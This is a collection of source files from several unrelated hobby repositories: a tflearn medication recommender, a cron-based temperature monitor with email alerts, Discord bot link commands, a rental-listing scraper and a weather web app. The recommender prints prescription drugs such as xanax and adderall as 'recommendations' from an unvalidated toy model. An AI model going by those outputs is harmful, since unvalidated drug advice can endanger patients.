ail=row[3]
if ail=="fever":
ail="0000"
elif ail=="cold":
ail="0001"
elif ail=="headache":
ail="0010"
elif ail=="infection":
ail="0011"
elif ail=="joint pain":
ail="0100"
elif ail=="irritable bowel syndrome":
ail="0101"
elif ail=="period pain":
ail="0110"
elif ail=="ADHD":
ail="0111"
elif ail=="anxiety disorder":
ail="1000"
elif ail=="panic disorder":
ail="1001"
elif ail=="urethritis" or ail=="cervicitis":
ail="1010"
elif ail=="acne":
ail="1011"
elif ail=="syphilis":
ail="1100"
elif ail=="gonorrhea":
ail="1101"
elif ail=="chlamydia":
ail="1110"
elif ail=="binge eating disorder":
ail="1111"
row[3]=ail
cure=row[4]
if cure=="paracetamol":
cure=[0,0,0,0,0,0,0,1]
elif cure=="amoxicillin":
cure=[0,0,0,0,0,0,1,0]
elif cure=="cyclopam":
cure=[0,0,0,0,0,1,0,0]
elif cure=="adderall":
cure=[0,0,0,0,1,0,0,0]
elif cure=="xanax":
cure=[0,0,0,1,0,0,0,0]
elif cure=="azithromycin":
cure=[0,0,1,0,0,0,0,0]
elif cure=="tetracycline":
cure=[0,1,0,0,0,0,0,0]
elif cure=="vyvanse":
cure=[1,0,0,0,0,0,0,0]
row[4]=cure
row1=[]
for r in row[:-1]:
for c in r:
row1.append(c)
train.append([np.array(row1),np.array(row[-1])])
shuffle(train)
np.save('train_data.npy',train)
return train
def read_json(name):
with open('show.JSON') as s:
data=json.load(s)
temp=data[name]
for d in temp:
print(" ",end='')
print(d,end=': ')
print(temp[d])
convnet = input_data(shape=[None, 4, 4,1], name='input')
convnet = conv_2d(convnet, 32, 3, activation='relu')
convnet = max_pool_2d(convnet, 2)
convnet = conv_2d(convnet, 64, 3, activation='relu')
convnet = max_pool_2d(convnet, 2)
convnet = fully_connected(convnet, 1024, activation='relu')
convnet = dropout(convnet, 0.7)
convnet = fully_connected(convnet, 8, activation='softmax')
convnet = regression(convnet, optimizer='adam', learning_rate=LR, loss='categorical_crossentropy', name='targets')
model = tflearn.DNN(convnet, tensorboard_dir='log')
if os.path.exists('{}.meta'.format(MODEL_NAME)):
model.load(MODEL_NAME)
#training=train()
training=np.load('train_data.npy',allow_pickle=True)
testing=training[-20:]
training=training[:-20]
'''
train=training[:-50]
test=training[-50:]
X=np.array([i[0] for i in train]).reshape(-1,4,4,1)
Y=[i[1] for i in train]
test_x=np.array([i[0] for i in test]).reshape(-1,4,4,1)
test_y=[i[1] for i in test]
print("X")
print(X[:20])
print("Y")
print(Y[:20])
print("test_x")
print(test_x[:20])
print("test_y")
print(test_y[:20])
model.fit({'input': X}, {'targets': Y}, n_epoch=800, validation_set=({'input': test_x}, {'targets': test_y}),
snapshot_step=500, show_metric=True, run_id=MODEL_NAME)
model.save(MODEL_NAME)
'''
test=np.array([i[0] for i in testing]).reshape(-1,4,4,1)
for data in test:
temp=np.array([i for i in data]).reshape(-1,4,4,1)
model_out=model.predict(temp)[0]
age_temp=temp[0][0]
age=''
for a in age_temp:
for c in a:
age+=c
if age=="0000":
age='child'
elif age=="0001":
age='adult1'
elif age=="0010":
age='adult2'
elif age=="0011":
age='adult3'
elif age=="0100":
age='adult4'
elif age=="0101":
age='senior citizen'
elif age=="0110":
age='toddler'
print(age)
gender_temp=temp[0][1]
gender=''
for g in gender_temp:
for c in g:
gender+=c
if gender=="0001":
gender="female"
elif gender=="0010":
gender="male"
print(gender)
intensity_temp=temp[0][2]
intensity=''
for i in intensity_temp:
for c in i:
intensity+=c
if intensity=="0000":
intensity="mild"
elif intensity=="0001":
intensity="moderate"
elif intensity=="0010":
intensity="extreme"
print(intensity)
ail=''
ail_temp=temp[0][3]
for a in ail_temp:
for c in a:
ail+=c
if ail=="0000":
ail="fever"
elif ail=="0001":
ail="cold"
elif ail=="0010":
ail="headache"
elif ail=="0011":
ail="infection"
elif ail=="0100":
ail="joint pain"
elif ail=="0101":
ail="irritable bowel syndrome"
elif ail=="0110":
ail="period pain"
elif ail=="0111":
ail="ADHD"
elif ail=="1000":
ail="anxiety disorder"
elif ail=="1001":
ail="panic disorder"
elif ail=="1010":
if gender=="male":
ail="urethritis"
else:
ail="cervicitis"
elif ail=="1011":
ail="acne"
elif ail=="1100":
ail="syphilis"
elif ail=="1101":
ail="gonorrhea"
elif ail=="1110":
ail="chlamydia"
elif ail=="1111":
ail="binge eating disorder"
print(ail)
print(model_out)
temp=[]
for m in model_out:
if m>=0.1:
temp.append(m)
if len(temp)>1:
temp=temp[:2]
print(temp)
ans=[]
for m in model_out:
if m in temp:
ans.append(1)
else:
ans.append(0)
answer=[]
if ans[0]==1:
answer.append("vyvanse")
if ans[1]==1:
answer.append("tetracycline")
if ans[2]==1:
answer.append("azithromycin")
if ans[3]==1:
answer.append("xanax")
if ans[4]==1:
answer.append("adderall")
if ans[5]==1:
answer.append("cyclopam")
if ans[6]==1:
answer.append("amoxicillin")
if ans[7]==1:
answer.append("paracetamol")
print("The recommendation is: ")
for a in answer:
print(a)
read_json(a)
print('---------------------')
c=input("Next?\n--->")
if c=="y":
continue
else:
break
print("See you next time")
<file_sep>import os
import csv
import json
from random import shuffle
import numpy as np
import tflearn
from tflearn.layers.conv import conv_2d, max_pool_2d
from tflearn.layers.core import input_data, dropout, fully_connected
from tflearn.layers.estimator import regression
import tensorflow as tf
LR=1e-3
MODEL_NAME='NotDelicious-{}-{}.model'.format(LR,'2conv-basic-video')
def train():
train=[]
with open("dataset.csv") as s:
thereader=csv.reader(s)
for row in thereader:
age=row[0]
if age=="child":
age='0000'
elif age=="adult1":
age='0001'
elif age=="adult2":
age='0010'
elif age=="adult3":
age='0011'
elif age=="adult4":
age='0100'
elif age=="senior citizen":
age='0101'
elif age=="toddler":
age='0110'
row[0]=age
gender=row[1]
if gender=="female":
gender="0001"
elif gender=="male":
gender="0010"
row[1]=gender
intensity=row[2]
if intensity=="mild":
intensity="0000"
elif intensity=="moderate":
intensity="0001"
elif intensity=="extreme":
intensity="0010"
row[2]=intensity
ail=row[3]
if ail=="fever":
ail="0000"
elif ail=="cold":
ail="0001"
elif ail=="headache":
ail="0010"
elif ail=="infection":
ail="0011"
elif ail=="joint pain":
ail="0100"
elif ail=="irritable bowel syndrome":
ail="0101"
elif ail=="period pain":
ail="0110"
elif ail=="ADHD":
ail="0111"
elif ail=="anxiety disorder":
ail="1000"
elif ail=="panic disorder":
ail="1001"
elif ail=="urethritis" or ail=="cervicitis":
ail="1010"
elif ail=="acne":
ail="1011"
elif ail=="syphilis":
ail="1100"
elif ail=="gonorrhea":
ail="1101"
elif ail=="chlamydia":
ail="1110"
elif ail=="binge eating disorder":
ail="1111"
row[3]=ail
cure=row[4]
if cure=="paracetamol":
cure=[0,0,0,0,0,0,0,1]
elif cure=="amoxicillin":
cure=[0,0,0,0,0,0,1,0]
elif cure=="cyclopam":
cure=[0,0,0,0,0,1,0,0]
elif cure=="adderall":
cure=[0,0,0,0,1,0,0,0]
elif cure=="xanax":
cure=[0,0,0,1,0,0,0,0]
elif cure=="azithromycin":
cure=[0,0,1,0,0,0,0,0]
elif cure=="tetracycline":
cure=[0,1,0,0,0,0,0,0]
elif cure=="vyvanse":
cure=[1,0,0,0,0,0,0,0]
row[4]=cure
row1=[]
for r in row[:-1]:
for c in r:
c1=int(c)
row1.append(c1)
train.append([np.array(row1),np.array(row[-1])])
#shuffle(train)
print(train[:1])
np.save('train_data.npy',train)
return train
train()
<file_sep>import os
import csv
def modify(rows):
with open("dataset.csv",'w',newline='') as s:
thewriter=csv.writer(s)
for row in rows:
thewriter.writerow(row)
def train():
rows=[]
with open("dataset.csv") as s:
thereader=csv.reader(s)
for row in thereader:
temp=int(row[0])
if temp<12:
temp="toddler"
elif 12<=temp<=17:
temp="child"
elif 30>=temp>=18:
temp="adult1"
elif 40>=temp>30:
temp="adult2"
elif 50>=temp>40:
temp="adult3"
elif 60>temp>50:
temp="adult4"
elif temp>=60:
temp="senior citizen"
row[0]=temp
print(row)
rows.append(row)
modify(rows)
return
train()
| 7777688dfb53adf84d8db3189f3ed13212f3ebb8 | [
"Python"
] | 3 | Python | SiddharthGianchandani/Emergency_Doc | 5fac0d59f742b6e7553d2b6be008ad5fe9ebd40b | 40beb5a8682db4f3bd7b6ad1a9898c4c3d7afd47 |
refs/heads/master | <repo_name>cahorn/tmonitor<file_sep>/tmonitor/notify/email.py
from . import base
import email.message
import logging
import traceback
import smtplib
LOGGER = logging.getLogger(__name__)
class Notify(base.Notify):
"""A notifier class that sends notifications via email."""
def __init__(self, *args, host=None, port=0, **kwargs):
"""
Initialize this notifier with the given addresses and authentication
credentials.
"""
super().__init__(*args, **kwargs)
self.host = host
self.port = port
def send(self, body, title=""):
"""Send a message via this notifier."""
# Construct a email notification
msg = email.message.EmailMessage()
msg['To'] = self.dst_addr
msg['From'] = self.src_addr
msg['Subject'] = title
msg.set_content(body)
# Send email notification
try:
# Construct connection to email server via SMTP
smtp = smtplib.SMTP(host=self.host, port=self.port)
smtp.starttls()
# Authenticate with email server
if self.cred_file is not None:
self.read_cred()
if self.username is not None and self.password is not None:
smtp.login(self.username, self.password)
# Send email notification
smtp.send_message(msg)
# Close smtp connection
smtp.quit()
except Exception:
LOGGER.error("Could not send email notification")
LOGGER.error(traceback.format_exc())
finally:
# Clean up
if self.cred_file is not None:
self.clear_cred()
<file_sep>/README.md
`tmonitor`
==========
Daemon for scheduled, remote temperature monitoring.
Build
-----
`tmonitor` can be built via its python `setup.py` script.
$ python3 setup.py install
### Dependencies
`tmonitor` built upon the Python 3 environment. Scheduling is performed via a
cron backend using the python module `python-crontab`, which is installed
automatically. It performs temperature queries through the
[`temper_query`](https://github.com/cahorn/temper-query) command, which must be
installed separately.
Basic Use
---------
As the underlying `temper_query` command requires root permission to directly
access the temperature sensor, all execution of the `tmonitor` program must also
occur with root permission.
To immediately poll the temperature and generate the appropriate notification:
# tmonitor -m email -d DST -s SRC -t HOST -r PORT -u USER -p PWD
To do the same, but avoid explicitly typing your username and password at
execution time by storing them in a credentials file:
# echo -e 'USER\nPWD' > FILE
# tmonitor -m email -d DST -s SRC -t HOST -r PORT -f FILE
To schedule the same action to happen daily at 0600 hours:
# tmonitor --daily 6 -m email -d DST -s SRC -t HOST -r PORT -f FILE
To schedule an hourly conditional notification if the temperature is below 15 C:
# tmonitor --hourly -c 't < 15' -m email -d DST -s SRC -t HOST -r PORT -f FILE
To list all scheduled notifications:
# tmonitor --list
To get a more comprehensive usage:
# tmonitor --help
<file_sep>/tmonitor/notify/__init__.py
__all__ = ['email']
<file_sep>/tmonitor/schedule.py
import datetime
import crontab
import re
cron = crontab.CronTab(user=True)
def add(args):
"""Add a new monitor poll to the schedule."""
# Construct monitor poll command
cmd_args = ['tmonitor']
for flag, arg in args.items():
if flag not in ['boot', 'hourly', 'daily', 'weekly', 'list'] \
and arg is not None:
cmd_args.append("--{0}".format(flag))
cmd_args.append("'{0}'".format(arg))
command = " ".join(cmd_args)
# Construct an identifiable comment
comment = "[tmonitor] {0}".format(datetime.datetime.now())
# Schedule the new poll
job = cron.new(command=command, comment=comment)
if args['weekly'] is not None:
job.dow.on(args['weekly'])
if args['daily'] is not None:
job.hour.on(args['daily'])
if args['hourly']:
job.minute.on(0)
if args['boot']:
job.every_reboot()
cron.write()
def list():
"""List all scheduled monitor polls."""
for job in cron:
if job.comment.startswith("[tmonitor]"):
print(job)
<file_sep>/tmonitor/temper.py
import subprocess
def query():
"""
Query the attached TEMPer device via temper-query command and parse the
result.
"""
p = subprocess.run(['/usr/local/bin/temper_query'], stdout=subprocess.PIPE)
p.check_returncode()
temp = float(p.stdout.decode(encoding='ascii').strip())
return temp
<file_sep>/scripts/tmonitor
#!/usr/bin/env python3
from tmonitor.main import main
main()
<file_sep>/tmonitor/monitor.py
from . import main
import datetime
import logging
import traceback
DEFAULT_TITLE = "[tmonitor] Update"
DEFAULT_TITLE_WARN = "[tmonitor] Warning"
DEFAULT_TITLE_ERR = "[tmonitor] Error"
DEFAULT_BODY = "At {0} UTC the temperature is {1} C"
LOGGER = logging.getLogger(__name__)
def poll(query=None, notify=None, cond=None):
time = datetime.datetime.now()
try:
temp = query()
except:
LOGGER.error("Could not query temperature")
LOGGER.error(traceback.format_exc())
notify.send(title=DEFAULT_TITLE_ERR, body=main.log.getvalue())
return
msg = DEFAULT_BODY.format(time, temp)
LOGGER.info(msg)
if cond is None:
LOGGER.info("Sending update notification")
notify.send(title=DEFAULT_TITLE, body=msg)
elif cond(temp):
LOGGER.info("Temperature exceeds boundary condition: sending warning notification")
notify.send(title=DEFAULT_TITLE_WARN, body=msg)
<file_sep>/tmonitor/main.py
from . import monitor
from . import schedule
from . import temper
import argparse
import atexit
import io
import logging
import os.path
import re
LOGGER = logging.getLogger(__name__)
log = None
def main():
# Setup batch logging (so that log output can be more finely controlled)
global log
log = io.StringIO()
logging.basicConfig(stream=log, level=logging.INFO)
atexit.register(lambda: print(log.getvalue()))
# Parse command-line arguments
args = parse_args()
# Handle schedule list command
if args['list']:
schedule.list()
# Handle scheduling poll
elif args['boot'] or args['hourly'] or \
args['daily'] is not None or args['weekly'] is not None:
schedule.add(args)
# Handle non-scheduled poll
else:
# Initialize notifier
if args['method'] == "email":
notify = init_notify_email(args)
else:
LOGGER.error("Unknown notification method: {0}".format(args['method']))
exit(1)
# Parse notification condition
if args['condition'] is not None:
cond = parse_cond(args['condition'])
else:
cond = None
# Poll the temperature monitor
monitor.poll(query=temper.query, notify=notify, cond=cond)
def parse_args():
"""Parse command line arguments."""
parser = argparse.ArgumentParser(description="Temperature Monitor", epilog="CONDITION := t (<|>) TEMP ((and|or) t (<|>) TEMP)*")
parser.add_argument('-c', '--condition', help="Notification condition (see below)")
gnotify = parser.add_argument_group("notification")
gnotify.add_argument('-m', '--method', help="Notification method (only 'email' currently supported)")
gnotify.add_argument('-s', '--source', help="Source address for use in notification")
gnotify.add_argument('-d', '--destination', help="Destination address for use in notification")
gnotify.add_argument('-t', '--host', help="Email server hostname")
gnotify.add_argument('-r', '--port', help="Email server port on host")
gnotify.add_argument('-f', '--credfile', type=os.path.abspath, help="Credentials file for use in notification")
gnotify.add_argument('-u', '--user', help="Username for use in notification")
gnotify.add_argument('-p', '--password', help="Password for use in notification")
gschedule = parser.add_argument_group("scheduling")
gschedule.add_argument('--boot', action='store_true', help="Schedule poll at system boot")
gschedule.add_argument('--hourly', action='store_true', help="Schedule an hourly poll")
gschedule.add_argument('--daily', type=int, metavar="HOUR", help="Schedule a daily poll at the given hour (24-hour format)")
gschedule.add_argument('--weekly', type=int, metavar="DAY", help="Schedule a weekly poll on the given day (Sunday = 0)")
gschedule.add_argument('-l', '--list', action='store_true', help="List currently scheduled polls")
args = vars(parser.parse_args())
return args
RE_COND = re.compile(r'^\s*(t\s*(<|>)\s*\d+)(\s*(and|or)\s+t\s*(<|>)\s*\d+)*\s*$')
def parse_cond(cond):
if not RE_COND.match(cond):
LOGGER.error("Invalid notification condition")
exit(1)
return lambda t: eval(cond, {'t': t})
def init_notify_email(args):
"""Initialize email notifier."""
# Check that the necessary information was supplied for email config
fail = False
if args['source'] is None:
LOGGER.error("No source address given for email")
fail = True
if args['destination'] is None:
LOGGER.error("No destination address given for email")
fail = True
if args['host'] is None or args['port'] is None:
LOGGER.error("Incomplete host/port pair given for email")
fail = True
if args['credfile'] is None and \
(args['user'] is None or args['password'] is None):
LOGGER.error("Incomplete authentication given for email")
fail = True
if fail:
exit(1)
# Configure email notifier
from .notify import email
notify = email.Notify(
dst_addr=args['destination'],
src_addr=args['source'],
username=args['user'],
password=args['<PASSWORD>'],
cred_file=args['credfile'],
host=args['host'],
port=args['port'],
)
return notify
if __name__=='__main__':
main()
<file_sep>/tmonitor/notify/base.py
import logging
import traceback
LOGGER = logging.getLogger(__name__)
class Notify(object):
"""The base class for all notifier classes."""
def __init__(self, dst_addr=None, src_addr=None,
username=None, password=None, cred_file=None):
"""
Initialize this notifier with the given addresses and authentication
credentials.
"""
self.dst_addr = dst_addr
self.src_addr = src_addr
self.username = username
self.password = <PASSWORD>
self.cred_file = cred_file
def clear_cred(self):
"""Delete the authentication credentials of this notifier."""
self.username = None
self.password = None
def read_cred(self, filename=None):
"""Read authentication credentials from the given file."""
if filename is None:
filename = self.cred_file
try:
with open(filename) as cred:
self.username = cred.readline().strip()
self.password = cred.readline().strip()
except Exception as e:
LOGGER.error("Could not read from credential file")
LOGGER.error(traceback.format_exec())
def send(self, msg, title=""):
"""
Send a message via this notifier; intended to be overridden by all
subclasses.
"""
pass
<file_sep>/setup.py
import setuptools
setuptools.setup(
name="tmonitor",
version="0.0.1",
author="<NAME>",
author_email="<EMAIL>",
description="A simple temperature monitor",
license="WTFPL",
url="https://github.com/cahorn/tmonitor",
install_requires=['python-crontab'],
packages=setuptools.find_packages(),
scripts=['scripts/tmonitor'],
)
| 75b82f56603926dbac033261777441314b30f36e | [
"Markdown",
"Python"
] | 10 | Python | cahorn/tmonitor | 696425b602887cc99fcb0e15b17ef8d16d2e1cd3 | d89dd7269f5de9a840f99a6c18b5c5bf15c0189c |
refs/heads/master | <file_sep>from daftlistings import Daft, Location, SearchType, PropertyType, Facility, Ber
import operator
import csv
import re
# location Dublin 1 and/or Dublin2
# - price : 500€ - 1000€
# - apartment 1 room
# - studio
# - single or double bed
# - shared room in apartment
locationList = [Location.DUBLIN_1_DUBLIN, Location.DUBLIN_2_DUBLIN]
typeList = [PropertyType.HOUSE, PropertyType.STUDIO_APARTMENT]
facilityList = [Facility.INTERNET, Facility.CENTRAL_HEATING]
searchList = [SearchType.STUDENT_ACCOMMODATION, SearchType.SHARING]
# Reference:
# Github (April, 2021) AnthonyBloomer/daftlistings[online]
# Available at: https://github.com/AnthonyBloomer/daftlistings
def listToListofDict(myList):
final_list = list(dict())
for elem in myList:
temp = dict()
price_temp =re.findall('\d+', elem.price )
# print(price_temp)
temp["Title"] = elem.title
temp["Price per month"] = int(price_temp[0])
temp["Category"] = elem.category
temp["Agent Name"] = elem.agent_name
temp["Daft Link"] = elem.daft_link
final_list.append(temp)
return final_list
def sortListofDict(data):
data.sort(key=operator.itemgetter('Price per month'))
return data
def writeToCSV(data):
keys = data[0].keys()
with open('Result.csv', 'w', newline='') as file:
file_writer = csv.DictWriter(file, keys)
file_writer.writeheader()
file_writer.writerows(data)
def getData():
queryResult = list()
daft = Daft()
for location in locationList:
for src in searchList:
for facility in facilityList:
for aptType in typeList:
print("\nLocation:{}, Search:{}, Facility:{}, PropertyType:{}".format(
location, src, facility, aptType))
daft.set_location(location)
daft.set_search_type(src)
daft.set_facility(facility)
daft.set_property_type(aptType)
daft.set_min_price(500)
daft.set_max_price(1000)
daft.set_max_beds(2)
listings = daft.search(max_pages=1)
queryResult += listings
# print(len(queryResult))
finalResult = [{}]
# print(len(queryResult))
# resultList = list(set(queryResult))
# print(len(resultList))
finalResult = listToListofDict(queryResult)
# print(finalResult)
# now the sorting will be implemented.
# Because if I do sorting in the loop then for each loop I need to perform an nlog(n) complexity or sort algorithm
# rather it's better to sort using the final list
finalResult = sortListofDict(finalResult)
# removing the duplicate results
finalResult = [dict(t) for t in {tuple(d.items()) for d in finalResult}]
print(len(finalResult))
writeToCSV(finalResult)
getData()
| af84c2b600d072d08b01d84d1a8c6af8e2c3ef13 | [
"Python"
] | 1 | Python | Ellys22/Project_OOP-MO | c69e882f28ac11a1aa51a748fc274fb23b23c3e4 | 8900f91e31b573ff1ba7914fbe4cb8b8dee5199f |
refs/heads/master | <file_sep># Discord-Bot-BLCL<file_sep>using Discord.Commands;
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
namespace BLCL_Bot.Modules
{
public class TeamRosters : ModuleBase<SocketCommandContext>
{
[Command("roster Etherium")]
public async Task EtheriumRoster()
{
await Context.Channel.SendMessageAsync("```\nSuperDino484 - Leader\nIAmNotYourBear - Leader\n_JuiceWrld_ - Member\nYikesManBFF - Member\nWitherSuxsAtPvp - Member\nEqsyLootz - Member\nminemandestroyer - Member```");
}
[Command("roster dedaf")]
public async Task dedafRoster()
{
await Context.Channel.SendMessageAsync("```\nVVashington - Leader\nblufluffydragons - Leader\nVoltaic - Member\nDiggityDog44 - Member\nwrec - Member```");
}
}
}
<file_sep>using Discord.Commands;
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
namespace BLCL_Bot.Modules
{
public class WebsiteLinks : ModuleBase<SocketCommandContext>
{
[Command("Rules")]
public async Task Rulebook()
{
await Context.Channel.SendMessageAsync("https://docs.google.com/document/d/1UE_xIzWT3Pm9rf1PXr6ZC2AJLtL1Ko0ki5Hs3m_YgeU/edit?usp=sharing");
}
[Command("Teams")]
public async Task TeamRankings()
{
await Context.Channel.SendMessageAsync("https://docs.google.com/document/d/1WzI2DNWgrkA11y39Lct-WOv6nOfylCR8dhkVq6gtCMs/edit?usp=sharing");
}
[Command("Applications")]
public async Task NewTeam()
{
await Context.Channel.SendMessageAsync("https://docs.google.com/forms/d/e/1FAIpQLSeGNgp-LWguoqGjOvgemHRnY0D9X95ZOfXX7-UPAYRHFYN9zw/viewform?usp=sf_link");
await Context.Channel.SendMessageAsync("https://docs.google.com/forms/d/e/1FAIpQLSc9o9Gkoo8ac4KHfgiq6BhK5y_-poDOj8QWmYCyrgeggA7Tmg/viewform");
await Context.Channel.SendMessageAsync("https://docs.google.com/forms/d/e/1FAIpQLScNl_y69nzGTXfMgwrdRW9s7jrEvRa6NhGw7scP8V-FpU0siA/viewform?usp=sf_link");
}
[Command("Links")]
public async Task AllLinks()
{
await Context.Channel.SendMessageAsync("https://docs.google.com/forms/d/e/1FAIpQLSeGNgp-LWguoqGjOvgemHRnY0D9X95ZOfXX7-UPAYRHFYN9zw/viewform?usp=sf_link");
await Context.Channel.SendMessageAsync("https://docs.google.com/forms/d/e/1FAIpQLSc9o9Gkoo8ac4KHfgiq6BhK5y_-poDOj8QWmYCyrgeggA7Tmg/viewform");
await Context.Channel.SendMessageAsync("https://docs.google.com/document/d/1WzI2DNWgrkA11y39Lct-WOv6nOfylCR8dhkVq6gtCMs/edit?usp=sharing");
await Context.Channel.SendMessageAsync("https://docs.google.com/document/d/1UE_xIzWT3Pm9rf1PXr6ZC2AJLtL1Ko0ki5Hs3m_YgeU/edit?usp=sharing");
await Context.Channel.SendMessageAsync("https://docs.google.com/forms/d/e/1FAIpQLScNl_y69nzGTXfMgwrdRW9s7jrEvRa6NhGw7scP8V-FpU0siA/viewform?usp=sf_link");
}
}
}
| 8ff4b4785f7e80aafdd604fe5ad783c8d57b4043 | [
"Markdown",
"C#"
] | 3 | Markdown | SuperDino484/Discord-Bot-BLCL | db0977f667720d74ecf11c6400958d26be70e216 | eecb2f8079123a67ec3ad9b98e6c1cea02bb2de0 |
refs/heads/master | <repo_name>vsunday/mizuho<file_sep>/index.js
const AWS = require('aws-sdk');
function prepare_response(res) {
const body = { 'text': res };
return {
'statusCode': 200,
'headers': {
'Content-Type': 'application/json',
},
'body': JSON.stringify(body)
};
}
function get_slackparams(event) {
const body = decodeURIComponent(event.body);
const params = {};
body.split('&').forEach(
(element) => {
const list = element.split('=');
params[list[0]] = list[1];
});
return params;
}
exports.handler = (event, context, callback) => {
const params = get_slackparams(event);
const RESPONSE_URL = 'response_url';
const lambda = new AWS.Lambda();
const lambda_params = {
FunctionName: 'quote',
InvocationType: 'Event', // Ensures asynchronous execution
Payload: JSON.stringify({
response_url: params[RESPONSE_URL]
})
};
const instant_reply = 'Sure! Just a moment!';
return lambda.invoke(lambda_params).promise() // Returns 200 immediately after invoking the second lambda, not waiting for the result
.then(() => callback(null, prepare_response(instant_reply)));
};
| fe5f61d9736aec86545bc6db6ea73ef260121aa2 | [
"JavaScript"
] | 1 | JavaScript | vsunday/mizuho | 128167fa3767d341a3a5c57871c8a1ec26b68d67 | d525ca5b4e9ce44db2e37af9554fbd3a99d42ed9 |
refs/heads/master | <file_sep>// API KEY from https://openweathermap.org/
var API_KEY="<KEY>";
function initialize() {
var address = (document.getElementById('my-address'));
var autocomplete = new google.maps.places.Autocomplete(address);
autocomplete.setTypes(['geocode']);
google.maps.event.addListener(autocomplete, 'place_changed', function() {
var place = autocomplete.getPlace();
if (!place.geometry) {
return;
}
var address = '';
if (place.address_components) {
address = [
(place.address_components[0] && place.address_components[0].short_name || ''),
(place.address_components[1] && place.address_components[1].short_name || ''),
(place.address_components[2] && place.address_components[2].short_name || '')
].join(' ');
}
});
}
function codeAddress() {
geocoder = new google.maps.Geocoder();
var address = document.getElementById("my-address").value;
geocoder.geocode( { 'address': address}, function(results, status) {
if (status == google.maps.GeocoderStatus.OK) {
lat = results[0].geometry.location.lat();
long = results[0].geometry.location.lng();
$.getJSON('http://api.openweathermap.org/data/2.5/forecast?units=metric&lat=' + lat + '&lon=' + long + '&appid='+ API_KEY, function(wd){
console.log("go the data ,", wd);
var d, i, justdate, datewithformat, currentdata, currentdataformat, day1, day1format, day2, day2format, day3, day3format, day4, day4format;
var l, l1, l2,l3,l4;
// Five array for 5 days
var arrday0 = [];
var arrday1 = [];
var arrday2 = [];
var arrday3 = [];
var arrday4 = [];
for(i= 0; i < wd.list.length; i++){
d = wd.list[i];
var justdate = new Date(d.dt_txt);
datewithformat = justdate.format("yyyy-mm-dd");
var currentdata = new Date();
var currentdataformat = currentdata.format("yyyy-mm-dd");
if(datewithformat === currentdataformat){
arrday0.push(wd.list[i]);
}
var day1 = new Date();
day1.setDate(day1.getDate()+1); //Add Day +1
var day1format = day1.format("yyyy-mm-dd");
if(datewithformat === day1format){
arrday1.push(wd.list[i]);
}
var day2 = new Date();
day2.setDate(day2.getDate()+2); //Add Day +2
var day2format = day2.format("yyyy-mm-dd");
if(datewithformat === day2format){
arrday2.push(wd.list[i]);
}
var day3 = new Date();
day3.setDate(day3.getDate()+3); //Add Day +3
var day3format = day3.format("yyyy-mm-dd");
if(datewithformat === day3format){
arrday3.push(wd.list[i]);
}
var day4 = new Date();
day4.setDate(day4.getDate()+4); //Add Day +4
var day4format = day4.format("yyyy-mm-dd");
if(datewithformat === day4format){
arrday4.push(wd.list[i]);
}
}
var weekday = ["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"];
var htmldata = "";
var htmldatatoday ="";
var a, cdtempmax, cdtempmin, cddate, cddateday, cddateformat, cdhour, icon, iconSrc, wspeed ;
//First Day, For loop for first day
for(i=0; i< arrday0.length; i++){
l = arrday0[i];
cdtempmax = (l.main.temp_max).toFixed();
cdtempmin = (l.main.temp_min).toFixed();
icon = l.weather[0].icon;
wspeed = l.wind.speed;
var iconSrc= "http://openweathermap.org/img/w/"+ icon +".png";
var cddate = new Date(l.dt_txt);
var a = new Date(cddate);
var cddateday = weekday[a.getDay()];
cddateformat = cddate.format("h:MM TT");
// Different template for first of day
if(i == 0){
htmldatatoday +='<div class="forecast-header">'
htmldatatoday +='<div class="day" id="day0">'+cddateday+' '+ cddateformat +'</div>'
htmldatatoday +='<div class="date"></div>'
htmldatatoday +='</div>'
htmldatatoday +='<div class="forecast-content">'
htmldatatoday +='<div class="location" id="locatione"></div>'
htmldatatoday +=' <div class="degree">'
htmldatatoday +='<div class="row">'
htmldatatoday +='<div class="col-sm-8">'
htmldatatoday +='<div class="num"><div class="temp" id="temp">'+ cdtempmax +'</div><sup>o</sup>C</div>'
htmldatatoday +=' </div>'
htmldatatoday +='<div class="col-sm-4">'
htmldatatoday +='<div class="forecast-icon">'
htmldatatoday +='<img src="'+ iconSrc +'" alt="" width=90>'
htmldatatoday +='</div>'
htmldatatoday +='</div>'
htmldatatoday +='</div>'
htmldatatoday +='</div>'
htmldatatoday +='<span><img src="images/icon-wind.png" alt="">' + wspeed + ' m/s</span>'
htmldatatoday +='</div>'
document.getElementById("today").innerHTML = htmldatatoday;
}
else{
htmldata +='<div class="forecast">';
htmldata += '<div class="forecast-header">';
htmldata += '<div class="day" id="day1">'+ cddateformat +'</div>';
htmldata +='</div>';
htmldata += '<div class="forecast-content">';
htmldata += '<div class="forecast-icon">';
htmldata += '<img src="'+ iconSrc +'" alt="" width=70>';
htmldata += '</div>';
htmldata += '<div class="degree"><div class="temp" id="temp1">'+ cdtempmax +'</div><sup>o</sup>C</div>';
htmldata += '<small><div class="temp" id="tempmin1">'+ cdtempmin +'</div><sup>o</sup></small>';
htmldata +='</div>';
htmldata += '</div>';
document.getElementById("dayone").innerHTML = htmldata;
}
}
// Next Day
var htmldatatoday1 = "";
var htmldata1 = "";
var cdtempmax1, cdtempmin1, cddate1, cddateformat1, cdhour1, icon1, iconSrc1;
for(i=0; i< arrday1.length; i++){
l = arrday1[i];
cdtempmax1 = (l.main.temp_max).toFixed();
cdtempmin1 = (l.main.temp_min).toFixed();
wspeed = l.wind.speed;
icon1 = l.weather[0].icon;
var iconSrc1 = "http://openweathermap.org/img/w/"+ icon1 +".png";
var cddate1 = new Date(l.dt_txt);
cddateformat1 = cddate1.format("h:MM TT");
var a = new Date(cddate1);
var cddateday = weekday[a.getDay()];
if(i == 0){
htmldatatoday1 +='<div class="forecast-header">'
htmldatatoday1 +='<div class="day" id="day0">'+cddateday +' '+ cddateformat1 +'</div>'
htmldatatoday1 +='<div class="date"> </div>'
htmldatatoday1 +='</div>'
htmldatatoday1 +='<div class="forecast-content">'
htmldatatoday1 +='<div class="location" id="locatione"></div>'
htmldatatoday1 +=' <div class="degree">'
htmldatatoday1 +='<div class="row">'
htmldatatoday1 +='<div class="col-sm-8">'
htmldatatoday1 +='<div class="num"><div class="temp" id="temp">'+ cdtempmax1 +'</div><sup>o</sup>C</div>'
htmldatatoday1 +=' </div>'
htmldatatoday1 +='<div class="col-sm-4">'
htmldatatoday1 +='<div class="forecast-icon">'
htmldatatoday1 +='<img src="'+ iconSrc +'" alt="" width=90>'
htmldatatoday1 +='</div>'
